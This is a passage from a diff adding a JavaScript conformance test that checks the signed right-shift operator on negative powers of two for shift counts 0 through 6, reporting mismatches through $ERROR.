+ $ERROR('#11: -1024 >> 0 === -1024. Actual: ' + (-1024 >> 0));
+}
+
+
+if (-2048 >> 0 !== -2048) {
+ $ERROR('#12: -2048 >> 0 === -2048. Actual: ' + (-2048 >> 0));
+}
+
+
+if (-4096 >> 0 !== -4096) {
+ $ERROR('#13: -4096 >> 0 === -4096. Actual: ' + (-4096 >> 0));
+}
+
+
+if (-8192 >> 0 !== -8192) {
+ $ERROR('#14: -8192 >> 0 === -8192. Actual: ' + (-8192 >> 0));
+}
+
+
+if (-16384 >> 0 !== -16384) {
+ $ERROR('#15: -16384 >> 0 === -16384. Actual: ' + (-16384 >> 0));
+}
+
+
+if (-32768 >> 0 !== -32768) {
+ $ERROR('#16: -32768 >> 0 === -32768. Actual: ' + (-32768 >> 0));
+}
+
+
+if (-65536 >> 0 !== -65536) {
+ $ERROR('#17: -65536 >> 0 === -65536. Actual: ' + (-65536 >> 0));
+}
+
+
+if (-131072 >> 0 !== -131072) {
+ $ERROR('#18: -131072 >> 0 === -131072. Actual: ' + (-131072 >> 0));
+}
+
+
+if (-262144 >> 0 !== -262144) {
+ $ERROR('#19: -262144 >> 0 === -262144. Actual: ' + (-262144 >> 0));
+}
+
+
+if (-524288 >> 0 !== -524288) {
+ $ERROR('#20: -524288 >> 0 === -524288. Actual: ' + (-524288 >> 0));
+}
+
+
+if (-1048576 >> 0 !== -1048576) {
+ $ERROR('#21: -1048576 >> 0 === -1048576. Actual: ' + (-1048576 >> 0));
+}
+
+
+if (-2097152 >> 0 !== -2097152) {
+ $ERROR('#22: -2097152 >> 0 === -2097152. Actual: ' + (-2097152 >> 0));
+}
+
+
+if (-4194304 >> 0 !== -4194304) {
+ $ERROR('#23: -4194304 >> 0 === -4194304. Actual: ' + (-4194304 >> 0));
+}
+
+
+if (-8388608 >> 0 !== -8388608) {
+ $ERROR('#24: -8388608 >> 0 === -8388608. Actual: ' + (-8388608 >> 0));
+}
+
+
+if (-16777216 >> 0 !== -16777216) {
+ $ERROR('#25: -16777216 >> 0 === -16777216. Actual: ' + (-16777216 >> 0));
+}
+
+
+if (-33554432 >> 0 !== -33554432) {
+ $ERROR('#26: -33554432 >> 0 === -33554432. Actual: ' + (-33554432 >> 0));
+}
+
+
+if (-67108864 >> 0 !== -67108864) {
+ $ERROR('#27: -67108864 >> 0 === -67108864. Actual: ' + (-67108864 >> 0));
+}
+
+
+if (-134217728 >> 0 !== -134217728) {
+ $ERROR('#28: -134217728 >> 0 === -134217728. Actual: ' + (-134217728 >> 0));
+}
+
+
+if (-268435456 >> 0 !== -268435456) {
+ $ERROR('#29: -268435456 >> 0 === -268435456. Actual: ' + (-268435456 >> 0));
+}
+
+
+if (-536870912 >> 0 !== -536870912) {
+ $ERROR('#30: -536870912 >> 0 === -536870912. Actual: ' + (-536870912 >> 0));
+}
+
+
+if (-1073741824 >> 0 !== -1073741824) {
+ $ERROR('#31: -1073741824 >> 0 === -1073741824. Actual: ' + (-1073741824 >> 0));
+}
+
+
+if (-2147483648 >> 0 !== -2147483648) {
+ $ERROR('#32: -2147483648 >> 0 === -2147483648. Actual: ' + (-2147483648 >> 0));
+}
+
+
+if (-1 >> 1 !== -1) {
+ $ERROR('#33: -1 >> 1 === -1. Actual: ' + (-1 >> 1));
+}
+
+
+if (-2 >> 1 !== -1) {
+ $ERROR('#34: -2 >> 1 === -1. Actual: ' + (-2 >> 1));
+}
+
+
+if (-4 >> 1 !== -2) {
+ $ERROR('#35: -4 >> 1 === -2. Actual: ' + (-4 >> 1));
+}
+
+
+if (-8 >> 1 !== -4) {
+ $ERROR('#36: -8 >> 1 === -4. Actual: ' + (-8 >> 1));
+}
+
+
+if (-16 >> 1 !== -8) {
+ $ERROR('#37: -16 >> 1 === -8. Actual: ' + (-16 >> 1));
+}
+
+
+if (-32 >> 1 !== -16) {
+ $ERROR('#38: -32 >> 1 === -16. Actual: ' + (-32 >> 1));
+}
+
+
+if (-64 >> 1 !== -32) {
+ $ERROR('#39: -64 >> 1 === -32. Actual: ' + (-64 >> 1));
+}
+
+
+if (-128 >> 1 !== -64) {
+ $ERROR('#40: -128 >> 1 === -64. Actual: ' + (-128 >> 1));
+}
+
+
+if (-256 >> 1 !== -128) {
+ $ERROR('#41: -256 >> 1 === -128. Actual: ' + (-256 >> 1));
+}
+
+
+if (-512 >> 1 !== -256) {
+ $ERROR('#42: -512 >> 1 === -256. Actual: ' + (-512 >> 1));
+}
+
+
+if (-1024 >> 1 !== -512) {
+ $ERROR('#43: -1024 >> 1 === -512. Actual: ' + (-1024 >> 1));
+}
+
+
+if (-2048 >> 1 !== -1024) {
+ $ERROR('#44: -2048 >> 1 === -1024. Actual: ' + (-2048 >> 1));
+}
+
+
+if (-4096 >> 1 !== -2048) {
+ $ERROR('#45: -4096 >> 1 === -2048. Actual: ' + (-4096 >> 1));
+}
+
+
+if (-8192 >> 1 !== -4096) {
+ $ERROR('#46: -8192 >> 1 === -4096. Actual: ' + (-8192 >> 1));
+}
+
+
+if (-16384 >> 1 !== -8192) {
+ $ERROR('#47: -16384 >> 1 === -8192. Actual: ' + (-16384 >> 1));
+}
+
+
+if (-32768 >> 1 !== -16384) {
+ $ERROR('#48: -32768 >> 1 === -16384. Actual: ' + (-32768 >> 1));
+}
+
+
+if (-65536 >> 1 !== -32768) {
+ $ERROR('#49: -65536 >> 1 === -32768. Actual: ' + (-65536 >> 1));
+}
+
+
+if (-131072 >> 1 !== -65536) {
+ $ERROR('#50: -131072 >> 1 === -65536. Actual: ' + (-131072 >> 1));
+}
+
+
+if (-262144 >> 1 !== -131072) {
+ $ERROR('#51: -262144 >> 1 === -131072. Actual: ' + (-262144 >> 1));
+}
+
+
+if (-524288 >> 1 !== -262144) {
+ $ERROR('#52: -524288 >> 1 === -262144. Actual: ' + (-524288 >> 1));
+}
+
+
+if (-1048576 >> 1 !== -524288) {
+ $ERROR('#53: -1048576 >> 1 === -524288. Actual: ' + (-1048576 >> 1));
+}
+
+
+if (-2097152 >> 1 !== -1048576) {
+ $ERROR('#54: -2097152 >> 1 === -1048576. Actual: ' + (-2097152 >> 1));
+}
+
+
+if (-4194304 >> 1 !== -2097152) {
+ $ERROR('#55: -4194304 >> 1 === -2097152. Actual: ' + (-4194304 >> 1));
+}
+
+
+if (-8388608 >> 1 !== -4194304) {
+ $ERROR('#56: -8388608 >> 1 === -4194304. Actual: ' + (-8388608 >> 1));
+}
+
+
+if (-16777216 >> 1 !== -8388608) {
+ $ERROR('#57: -16777216 >> 1 === -8388608. Actual: ' + (-16777216 >> 1));
+}
+
+
+if (-33554432 >> 1 !== -16777216) {
+ $ERROR('#58: -33554432 >> 1 === -16777216. Actual: ' + (-33554432 >> 1));
+}
+
+
+if (-67108864 >> 1 !== -33554432) {
+ $ERROR('#59: -67108864 >> 1 === -33554432. Actual: ' + (-67108864 >> 1));
+}
+
+
+if (-134217728 >> 1 !== -67108864) {
+ $ERROR('#60: -134217728 >> 1 === -67108864. Actual: ' + (-134217728 >> 1));
+}
+
+
+if (-268435456 >> 1 !== -134217728) {
+ $ERROR('#61: -268435456 >> 1 === -134217728. Actual: ' + (-268435456 >> 1));
+}
+
+
+if (-536870912 >> 1 !== -268435456) {
+ $ERROR('#62: -536870912 >> 1 === -268435456. Actual: ' + (-536870912 >> 1));
+}
+
+
+if (-1073741824 >> 1 !== -536870912) {
+ $ERROR('#63: -1073741824 >> 1 === -536870912. Actual: ' + (-1073741824 >> 1));
+}
+
+
+if (-2147483648 >> 1 !== -1073741824) {
+ $ERROR('#64: -2147483648 >> 1 === -1073741824. Actual: ' + (-2147483648 >> 1));
+}
+
+
+if (-1 >> 2 !== -1) {
+ $ERROR('#65: -1 >> 2 === -1. Actual: ' + (-1 >> 2));
+}
+
+
+if (-2 >> 2 !== -1) {
+ $ERROR('#66: -2 >> 2 === -1. Actual: ' + (-2 >> 2));
+}
+
+
+if (-4 >> 2 !== -1) {
+ $ERROR('#67: -4 >> 2 === -1. Actual: ' + (-4 >> 2));
+}
+
+
+if (-8 >> 2 !== -2) {
+ $ERROR('#68: -8 >> 2 === -2. Actual: ' + (-8 >> 2));
+}
+
+
+if (-16 >> 2 !== -4) {
+ $ERROR('#69: -16 >> 2 === -4. Actual: ' + (-16 >> 2));
+}
+
+
+if (-32 >> 2 !== -8) {
+ $ERROR('#70: -32 >> 2 === -8. Actual: ' + (-32 >> 2));
+}
+
+
+if (-64 >> 2 !== -16) {
+ $ERROR('#71: -64 >> 2 === -16. Actual: ' + (-64 >> 2));
+}
+
+
+if (-128 >> 2 !== -32) {
+ $ERROR('#72: -128 >> 2 === -32. Actual: ' + (-128 >> 2));
+}
+
+
+if (-256 >> 2 !== -64) {
+ $ERROR('#73: -256 >> 2 === -64. Actual: ' + (-256 >> 2));
+}
+
+
+if (-512 >> 2 !== -128) {
+ $ERROR('#74: -512 >> 2 === -128. Actual: ' + (-512 >> 2));
+}
+
+
+if (-1024 >> 2 !== -256) {
+ $ERROR('#75: -1024 >> 2 === -256. Actual: ' + (-1024 >> 2));
+}
+
+
+if (-2048 >> 2 !== -512) {
+ $ERROR('#76: -2048 >> 2 === -512. Actual: ' + (-2048 >> 2));
+}
+
+
+if (-4096 >> 2 !== -1024) {
+ $ERROR('#77: -4096 >> 2 === -1024. Actual: ' + (-4096 >> 2));
+}
+
+
+if (-8192 >> 2 !== -2048) {
+ $ERROR('#78: -8192 >> 2 === -2048. Actual: ' + (-8192 >> 2));
+}
+
+
+if (-16384 >> 2 !== -4096) {
+ $ERROR('#79: -16384 >> 2 === -4096. Actual: ' + (-16384 >> 2));
+}
+
+
+if (-32768 >> 2 !== -8192) {
+ $ERROR('#80: -32768 >> 2 === -8192. Actual: ' + (-32768 >> 2));
+}
+
+
+if (-65536 >> 2 !== -16384) {
+ $ERROR('#81: -65536 >> 2 === -16384. Actual: ' + (-65536 >> 2));
+}
+
+
+if (-131072 >> 2 !== -32768) {
+ $ERROR('#82: -131072 >> 2 === -32768. Actual: ' + (-131072 >> 2));
+}
+
+
+if (-262144 >> 2 !== -65536) {
+ $ERROR('#83: -262144 >> 2 === -65536. Actual: ' + (-262144 >> 2));
+}
+
+
+if (-524288 >> 2 !== -131072) {
+ $ERROR('#84: -524288 >> 2 === -131072. Actual: ' + (-524288 >> 2));
+}
+
+
+if (-1048576 >> 2 !== -262144) {
+ $ERROR('#85: -1048576 >> 2 === -262144. Actual: ' + (-1048576 >> 2));
+}
+
+
+if (-2097152 >> 2 !== -524288) {
+ $ERROR('#86: -2097152 >> 2 === -524288. Actual: ' + (-2097152 >> 2));
+}
+
+
+if (-4194304 >> 2 !== -1048576) {
+ $ERROR('#87: -4194304 >> 2 === -1048576. Actual: ' + (-4194304 >> 2));
+}
+
+
+if (-8388608 >> 2 !== -2097152) {
+ $ERROR('#88: -8388608 >> 2 === -2097152. Actual: ' + (-8388608 >> 2));
+}
+
+
+if (-16777216 >> 2 !== -4194304) {
+ $ERROR('#89: -16777216 >> 2 === -4194304. Actual: ' + (-16777216 >> 2));
+}
+
+
+if (-33554432 >> 2 !== -8388608) {
+ $ERROR('#90: -33554432 >> 2 === -8388608. Actual: ' + (-33554432 >> 2));
+}
+
+
+if (-67108864 >> 2 !== -16777216) {
+ $ERROR('#91: -67108864 >> 2 === -16777216. Actual: ' + (-67108864 >> 2));
+}
+
+
+if (-134217728 >> 2 !== -33554432) {
+ $ERROR('#92: -134217728 >> 2 === -33554432. Actual: ' + (-134217728 >> 2));
+}
+
+
+if (-268435456 >> 2 !== -67108864) {
+ $ERROR('#93: -268435456 >> 2 === -67108864. Actual: ' + (-268435456 >> 2));
+}
+
+
+if (-536870912 >> 2 !== -134217728) {
+ $ERROR('#94: -536870912 >> 2 === -134217728. Actual: ' + (-536870912 >> 2));
+}
+
+
+if (-1073741824 >> 2 !== -268435456) {
+ $ERROR('#95: -1073741824 >> 2 === -268435456. Actual: ' + (-1073741824 >> 2));
+}
+
+
+if (-2147483648 >> 2 !== -536870912) {
+ $ERROR('#96: -2147483648 >> 2 === -536870912. Actual: ' + (-2147483648 >> 2));
+}
+
+
+if (-1 >> 3 !== -1) {
+ $ERROR('#97: -1 >> 3 === -1. Actual: ' + (-1 >> 3));
+}
+
+
+if (-2 >> 3 !== -1) {
+ $ERROR('#98: -2 >> 3 === -1. Actual: ' + (-2 >> 3));
+}
+
+
+if (-4 >> 3 !== -1) {
+ $ERROR('#99: -4 >> 3 === -1. Actual: ' + (-4 >> 3));
+}
+
+
+if (-8 >> 3 !== -1) {
+ $ERROR('#100: -8 >> 3 === -1. Actual: ' + (-8 >> 3));
+}
+
+
+if (-16 >> 3 !== -2) {
+ $ERROR('#101: -16 >> 3 === -2. Actual: ' + (-16 >> 3));
+}
+
+
+if (-32 >> 3 !== -4) {
+ $ERROR('#102: -32 >> 3 === -4. Actual: ' + (-32 >> 3));
+}
+
+
+if (-64 >> 3 !== -8) {
+ $ERROR('#103: -64 >> 3 === -8. Actual: ' + (-64 >> 3));
+}
+
+
+if (-128 >> 3 !== -16) {
+ $ERROR('#104: -128 >> 3 === -16. Actual: ' + (-128 >> 3));
+}
+
+
+if (-256 >> 3 !== -32) {
+ $ERROR('#105: -256 >> 3 === -32. Actual: ' + (-256 >> 3));
+}
+
+
+if (-512 >> 3 !== -64) {
+ $ERROR('#106: -512 >> 3 === -64. Actual: ' + (-512 >> 3));
+}
+
+
+if (-1024 >> 3 !== -128) {
+ $ERROR('#107: -1024 >> 3 === -128. Actual: ' + (-1024 >> 3));
+}
+
+
+if (-2048 >> 3 !== -256) {
+ $ERROR('#108: -2048 >> 3 === -256. Actual: ' + (-2048 >> 3));
+}
+
+
+if (-4096 >> 3 !== -512) {
+ $ERROR('#109: -4096 >> 3 === -512. Actual: ' + (-4096 >> 3));
+}
+
+
+if (-8192 >> 3 !== -1024) {
+ $ERROR('#110: -8192 >> 3 === -1024. Actual: ' + (-8192 >> 3));
+}
+
+
+if (-16384 >> 3 !== -2048) {
+ $ERROR('#111: -16384 >> 3 === -2048. Actual: ' + (-16384 >> 3));
+}
+
+
+if (-32768 >> 3 !== -4096) {
+ $ERROR('#112: -32768 >> 3 === -4096. Actual: ' + (-32768 >> 3));
+}
+
+
+if (-65536 >> 3 !== -8192) {
+ $ERROR('#113: -65536 >> 3 === -8192. Actual: ' + (-65536 >> 3));
+}
+
+
+if (-131072 >> 3 !== -16384) {
+ $ERROR('#114: -131072 >> 3 === -16384. Actual: ' + (-131072 >> 3));
+}
+
+
+if (-262144 >> 3 !== -32768) {
+ $ERROR('#115: -262144 >> 3 === -32768. Actual: ' + (-262144 >> 3));
+}
+
+
+if (-524288 >> 3 !== -65536) {
+ $ERROR('#116: -524288 >> 3 === -65536. Actual: ' + (-524288 >> 3));
+}
+
+
+if (-1048576 >> 3 !== -131072) {
+ $ERROR('#117: -1048576 >> 3 === -131072. Actual: ' + (-1048576 >> 3));
+}
+
+
+if (-2097152 >> 3 !== -262144) {
+ $ERROR('#118: -2097152 >> 3 === -262144. Actual: ' + (-2097152 >> 3));
+}
+
+
+if (-4194304 >> 3 !== -524288) {
+ $ERROR('#119: -4194304 >> 3 === -524288. Actual: ' + (-4194304 >> 3));
+}
+
+
+if (-8388608 >> 3 !== -1048576) {
+ $ERROR('#120: -8388608 >> 3 === -1048576. Actual: ' + (-8388608 >> 3));
+}
+
+
+if (-16777216 >> 3 !== -2097152) {
+ $ERROR('#121: -16777216 >> 3 === -2097152. Actual: ' + (-16777216 >> 3));
+}
+
+
+if (-33554432 >> 3 !== -4194304) {
+ $ERROR('#122: -33554432 >> 3 === -4194304. Actual: ' + (-33554432 >> 3));
+}
+
+
+if (-67108864 >> 3 !== -8388608) {
+ $ERROR('#123: -67108864 >> 3 === -8388608. Actual: ' + (-67108864 >> 3));
+}
+
+
+if (-134217728 >> 3 !== -16777216) {
+ $ERROR('#124: -134217728 >> 3 === -16777216. Actual: ' + (-134217728 >> 3));
+}
+
+
+if (-268435456 >> 3 !== -33554432) {
+ $ERROR('#125: -268435456 >> 3 === -33554432. Actual: ' + (-268435456 >> 3));
+}
+
+
+if (-536870912 >> 3 !== -67108864) {
+ $ERROR('#126: -536870912 >> 3 === -67108864. Actual: ' + (-536870912 >> 3));
+}
+
+
+if (-1073741824 >> 3 !== -134217728) {
+ $ERROR('#127: -1073741824 >> 3 === -134217728. Actual: ' + (-1073741824 >> 3));
+}
+
+
+if (-2147483648 >> 3 !== -268435456) {
+ $ERROR('#128: -2147483648 >> 3 === -268435456. Actual: ' + (-2147483648 >> 3));
+}
+
+
+if (-1 >> 4 !== -1) {
+ $ERROR('#129: -1 >> 4 === -1. Actual: ' + (-1 >> 4));
+}
+
+
+if (-2 >> 4 !== -1) {
+ $ERROR('#130: -2 >> 4 === -1. Actual: ' + (-2 >> 4));
+}
+
+
+if (-4 >> 4 !== -1) {
+ $ERROR('#131: -4 >> 4 === -1. Actual: ' + (-4 >> 4));
+}
+
+
+if (-8 >> 4 !== -1) {
+ $ERROR('#132: -8 >> 4 === -1. Actual: ' + (-8 >> 4));
+}
+
+
+if (-16 >> 4 !== -1) {
+ $ERROR('#133: -16 >> 4 === -1. Actual: ' + (-16 >> 4));
+}
+
+
+if (-32 >> 4 !== -2) {
+ $ERROR('#134: -32 >> 4 === -2. Actual: ' + (-32 >> 4));
+}
+
+
+if (-64 >> 4 !== -4) {
+ $ERROR('#135: -64 >> 4 === -4. Actual: ' + (-64 >> 4));
+}
+
+
+if (-128 >> 4 !== -8) {
+ $ERROR('#136: -128 >> 4 === -8. Actual: ' + (-128 >> 4));
+}
+
+
+if (-256 >> 4 !== -16) {
+ $ERROR('#137: -256 >> 4 === -16. Actual: ' + (-256 >> 4));
+}
+
+
+if (-512 >> 4 !== -32) {
+ $ERROR('#138: -512 >> 4 === -32. Actual: ' + (-512 >> 4));
+}
+
+
+if (-1024 >> 4 !== -64) {
+ $ERROR('#139: -1024 >> 4 === -64. Actual: ' + (-1024 >> 4));
+}
+
+
+if (-2048 >> 4 !== -128) {
+ $ERROR('#140: -2048 >> 4 === -128. Actual: ' + (-2048 >> 4));
+}
+
+
+if (-4096 >> 4 !== -256) {
+ $ERROR('#141: -4096 >> 4 === -256. Actual: ' + (-4096 >> 4));
+}
+
+
+if (-8192 >> 4 !== -512) {
+ $ERROR('#142: -8192 >> 4 === -512. Actual: ' + (-8192 >> 4));
+}
+
+
+if (-16384 >> 4 !== -1024) {
+ $ERROR('#143: -16384 >> 4 === -1024. Actual: ' + (-16384 >> 4));
+}
+
+
+if (-32768 >> 4 !== -2048) {
+ $ERROR('#144: -32768 >> 4 === -2048. Actual: ' + (-32768 >> 4));
+}
+
+
+if (-65536 >> 4 !== -4096) {
+ $ERROR('#145: -65536 >> 4 === -4096. Actual: ' + (-65536 >> 4));
+}
+
+
+if (-131072 >> 4 !== -8192) {
+ $ERROR('#146: -131072 >> 4 === -8192. Actual: ' + (-131072 >> 4));
+}
+
+
+if (-262144 >> 4 !== -16384) {
+ $ERROR('#147: -262144 >> 4 === -16384. Actual: ' + (-262144 >> 4));
+}
+
+
+if (-524288 >> 4 !== -32768) {
+ $ERROR('#148: -524288 >> 4 === -32768. Actual: ' + (-524288 >> 4));
+}
+
+
+if (-1048576 >> 4 !== -65536) {
+ $ERROR('#149: -1048576 >> 4 === -65536. Actual: ' + (-1048576 >> 4));
+}
+
+
+if (-2097152 >> 4 !== -131072) {
+ $ERROR('#150: -2097152 >> 4 === -131072. Actual: ' + (-2097152 >> 4));
+}
+
+
+if (-4194304 >> 4 !== -262144) {
+ $ERROR('#151: -4194304 >> 4 === -262144. Actual: ' + (-4194304 >> 4));
+}
+
+
+if (-8388608 >> 4 !== -524288) {
+ $ERROR('#152: -8388608 >> 4 === -524288. Actual: ' + (-8388608 >> 4));
+}
+
+
+if (-16777216 >> 4 !== -1048576) {
+ $ERROR('#153: -16777216 >> 4 === -1048576. Actual: ' + (-16777216 >> 4));
+}
+
+
+if (-33554432 >> 4 !== -2097152) {
+ $ERROR('#154: -33554432 >> 4 === -2097152. Actual: ' + (-33554432 >> 4));
+}
+
+
+if (-67108864 >> 4 !== -4194304) {
+ $ERROR('#155: -67108864 >> 4 === -4194304. Actual: ' + (-67108864 >> 4));
+}
+
+
+if (-134217728 >> 4 !== -8388608) {
+ $ERROR('#156: -134217728 >> 4 === -8388608. Actual: ' + (-134217728 >> 4));
+}
+
+
+if (-268435456 >> 4 !== -16777216) {
+ $ERROR('#157: -268435456 >> 4 === -16777216. Actual: ' + (-268435456 >> 4));
+}
+
+
+if (-536870912 >> 4 !== -33554432) {
+ $ERROR('#158: -536870912 >> 4 === -33554432. Actual: ' + (-536870912 >> 4));
+}
+
+
+if (-1073741824 >> 4 !== -67108864) {
+ $ERROR('#159: -1073741824 >> 4 === -67108864. Actual: ' + (-1073741824 >> 4));
+}
+
+
+if (-2147483648 >> 4 !== -134217728) {
+ $ERROR('#160: -2147483648 >> 4 === -134217728. Actual: ' + (-2147483648 >> 4));
+}
+
+
+if (-1 >> 5 !== -1) {
+ $ERROR('#161: -1 >> 5 === -1. Actual: ' + (-1 >> 5));
+}
+
+
+if (-2 >> 5 !== -1) {
+ $ERROR('#162: -2 >> 5 === -1. Actual: ' + (-2 >> 5));
+}
+
+
+if (-4 >> 5 !== -1) {
+ $ERROR('#163: -4 >> 5 === -1. Actual: ' + (-4 >> 5));
+}
+
+
+if (-8 >> 5 !== -1) {
+ $ERROR('#164: -8 >> 5 === -1. Actual: ' + (-8 >> 5));
+}
+
+
+if (-16 >> 5 !== -1) {
+ $ERROR('#165: -16 >> 5 === -1. Actual: ' + (-16 >> 5));
+}
+
+
+if (-32 >> 5 !== -1) {
+ $ERROR('#166: -32 >> 5 === -1. Actual: ' + (-32 >> 5));
+}
+
+
+if (-64 >> 5 !== -2) {
+ $ERROR('#167: -64 >> 5 === -2. Actual: ' + (-64 >> 5));
+}
+
+
+if (-128 >> 5 !== -4) {
+ $ERROR('#168: -128 >> 5 === -4. Actual: ' + (-128 >> 5));
+}
+
+
+if (-256 >> 5 !== -8) {
+ $ERROR('#169: -256 >> 5 === -8. Actual: ' + (-256 >> 5));
+}
+
+
+if (-512 >> 5 !== -16) {
+ $ERROR('#170: -512 >> 5 === -16. Actual: ' + (-512 >> 5));
+}
+
+
+if (-1024 >> 5 !== -32) {
+ $ERROR('#171: -1024 >> 5 === -32. Actual: ' + (-1024 >> 5));
+}
+
+
+if (-2048 >> 5 !== -64) {
+ $ERROR('#172: -2048 >> 5 === -64. Actual: ' + (-2048 >> 5));
+}
+
+
+if (-4096 >> 5 !== -128) {
+ $ERROR('#173: -4096 >> 5 === -128. Actual: ' + (-4096 >> 5));
+}
+
+
+if (-8192 >> 5 !== -256) {
+ $ERROR('#174: -8192 >> 5 === -256. Actual: ' + (-8192 >> 5));
+}
+
+
+if (-16384 >> 5 !== -512) {
+ $ERROR('#175: -16384 >> 5 === -512. Actual: ' + (-16384 >> 5));
+}
+
+
+if (-32768 >> 5 !== -1024) {
+ $ERROR('#176: -32768 >> 5 === -1024. Actual: ' + (-32768 >> 5));
+}
+
+
+if (-65536 >> 5 !== -2048) {
+ $ERROR('#177: -65536 >> 5 === -2048. Actual: ' + (-65536 >> 5));
+}
+
+
+if (-131072 >> 5 !== -4096) {
+ $ERROR('#178: -131072 >> 5 === -4096. Actual: ' + (-131072 >> 5));
+}
+
+
+if (-262144 >> 5 !== -8192) {
+ $ERROR('#179: -262144 >> 5 === -8192. Actual: ' + (-262144 >> 5));
+}
+
+
+if (-524288 >> 5 !== -16384) {
+ $ERROR('#180: -524288 >> 5 === -16384. Actual: ' + (-524288 >> 5));
+}
+
+
+if (-1048576 >> 5 !== -32768) {
+ $ERROR('#181: -1048576 >> 5 === -32768. Actual: ' + (-1048576 >> 5));
+}
+
+
+if (-2097152 >> 5 !== -65536) {
+ $ERROR('#182: -2097152 >> 5 === -65536. Actual: ' + (-2097152 >> 5));
+}
+
+
+if (-4194304 >> 5 !== -131072) {
+ $ERROR('#183: -4194304 >> 5 === -131072. Actual: ' + (-4194304 >> 5));
+}
+
+
+if (-8388608 >> 5 !== -262144) {
+ $ERROR('#184: -8388608 >> 5 === -262144. Actual: ' + (-8388608 >> 5));
+}
+
+
+if (-16777216 >> 5 !== -524288) {
+ $ERROR('#185: -16777216 >> 5 === -524288. Actual: ' + (-16777216 >> 5));
+}
+
+
+if (-33554432 >> 5 !== -1048576) {
+ $ERROR('#186: -33554432 >> 5 === -1048576. Actual: ' + (-33554432 >> 5));
+}
+
+
+if (-67108864 >> 5 !== -2097152) {
+ $ERROR('#187: -67108864 >> 5 === -2097152. Actual: ' + (-67108864 >> 5));
+}
+
+
+if (-134217728 >> 5 !== -4194304) {
+ $ERROR('#188: -134217728 >> 5 === -4194304. Actual: ' + (-134217728 >> 5));
+}
+
+
+if (-268435456 >> 5 !== -8388608) {
+ $ERROR('#189: -268435456 >> 5 === -8388608. Actual: ' + (-268435456 >> 5));
+}
+
+
+if (-536870912 >> 5 !== -16777216) {
+ $ERROR('#190: -536870912 >> 5 === -16777216. Actual: ' + (-536870912 >> 5));
+}
+
+
+if (-1073741824 >> 5 !== -33554432) {
+ $ERROR('#191: -1073741824 >> 5 === -33554432. Actual: ' + (-1073741824 >> 5));
+}
+
+
+if (-2147483648 >> 5 !== -67108864) {
+ $ERROR('#192: -2147483648 >> 5 === -67108864. Actual: ' + (-2147483648 >> 5));
+}
+
+
+if (-1 >> 6 !== -1) {
+ $ERROR('#193: -1 >> 6 === -1. Actual: ' + (-1 >> 6));
+}
+
+
+if (-2 >> 6 !== -1) {
+ $ERROR('#194: -2 >> 6 === -1. Actual: ' + (-2 >> 6));
+}
+
+
+if (-4 >> 6 !== -1) {
+ $ERROR('#195: -4 >> 6 === -1. Actual: ' + (-4 >> 6));
+}
+
+
+if (-8 >> 6 !== -1) {
+ $ERROR('#196: -8 >> 6 === -1. Actual: ' + (-8 >> 6));
+}
+
+
+if (-16 >> 6 !== -1) {
+ $ERROR('#197: -16 >> 6 === -1. Actual: ' + (-16 >> 6));
+}
+
+
+if (-32 >> 6 !== -1) {
+ $ERROR('#198: -32 >> 6 === -1. Actual: ' + (-32 >> 6));
+}
+
+
+if (-64 >> 6 !== -1) {
+ $ERROR('#199: -64 >> 6 === -1. Actual: ' + (-64 >> 6));
+}
+
+
+if (-128 >> 6 !== -2) {
+ $ERROR('#200: -128 >> 6 === -2. Actual: ' + (-128 >> 6));
+}
+
+
+if (-256 >> 6 !== -4) {
+ $ERROR('#201: -256 >> 6 === -4. Actual: ' + (-256 >> 6));
+}
+
+
+if (-512 >> 6 !== -8) {
+ $ERROR('#202: -512 >> 6 === -8. Actual: ' + (-512 >> 6));
+}
+
+
+if (-1024 >> 6 !== -16) {
+ $ERROR('#203: -1024 >> 6 === -16. Actual: ' + (-1024 >> 6));
+}
+
+
+if (-2048 >> 6 !== -32) {
+ $ERROR('#204: -2048 >> 6 === -32. Actual: ' + (-2048 >> 6));
+}
+
+
+if (-4096 >> 6 !== -64) {
+ $ERROR('#205: -4096 >> 6 === -64. Actual: ' + (-4096 >> 6));
+}
+
+
+if (-8192 >> 6 !== -128) {
+ $ERROR('#206: -8192 >> 6 === -128. Actual: ' + (-8192 >> 6));
+}
+
+
+if (-16384 >> 6 !== -256) {
+ $ERROR('#207: -16384 >> 6 === -256. Actual: ' + (-16384 >> 6));
+}
+
+
+if (-32768 >> 6 !== -512) {
+ $ERROR('#208: -32768 >> 6 === -512. Actual: ' + (-32768 >> 6));
+}
+
+
+if (-65536 >> 6 !== -1024) {
+ $ERROR('#209: -65536 >> 6 === -1024. Actual: ' + (-65536 >> 6));
+}
+
+
+if (-131072 >> 6 !== -2048) {
+ $ERROR('#210: -131072 >> 6 === -2048. Actual: ' + (-131072 >> 6));
+}
+
+
+if (-262144 >> 6 !== -4096) {
+ $ERROR('#211: -262144 >> 6 === -4096. Actual: ' + (-262144 >> 6));
+}
+
+
+if (-524288 >> 6 !== -8192) {
+ $ERROR('#212: -524288 >> 6 === -8192. Actual: ' + (-524288 >> 6));
+}
+
+
+if (-1048576 >> 6 !== -16384) {
+ $ERROR('#213: -1048576 >> 6 === -16384. Actual: ' + (-1048576 >> 6));
+}
+
+
+if (-2097152 >> 6 !== -32768) {
+ $ERROR('#214: -2097152 >> 6 === -32768. Actual: ' + (-2097152 >> 6));
+}
+
+
+if (-4194304 >> 6 !== -65536) {
+ $ERROR('#215: -4194304 >> 6 === -65536. Actual: ' + (-4194304 >> 6));
+}
+
+
+if (-8388608 >> 6 !== -131072) {
+ $ERROR('#216: -8388608 >> 6 === -131072. Actual: ' + (-8388608 >> 6));
+}
+
+
+if (-16777216 >> 6 !== -262144) {
+ $ERROR('#217: -16777216 >> 6 === -262144. Actual: ' + (-16777216 >> 6));
+}
+
+
+if (-33554432 >> 6 !== -524288) {
+ $ERROR('#218: -33554432 >> 6 === -524288. Actual: ' + (-33554432 >> 6));
+}
+
+
+if (-67108864 >> 6 !== -1048576) {
+ $ERROR('#219: -67108864 >> 6 === -1048576. Actual: ' + (-67108864 >> 6));
+}
+
+
+if (-134217728 >> 6 !== -2097152) {
+ $ERROR('#220: -134217728 >> 6 === -2097152. Actual: ' + (-134217728 >> 6));
+}
+
+
+if (-268435456 >> 6 !== -4194304) {
+ $ERROR('#221: -268435456 >> 6 === -4194304. Actual: ' + (-268435456 >> 6));
+}
+
+
+if (-536870912 >> 6 !== -8388608) {
+ $ERROR('#222: -536870912 >> 6 === -8388608. Actual: ' + (-536870912 >> 6));
+}
+
+
+if (-1073741824 >> 6 !== -16777216) {
+ $ERROR('#223: -1073741824 >> 6 === -16777216. Actual: ' + (-1073741824 >> 6));
+}
+
+
+if (-2147483648 >> 6 !== -33554432) {
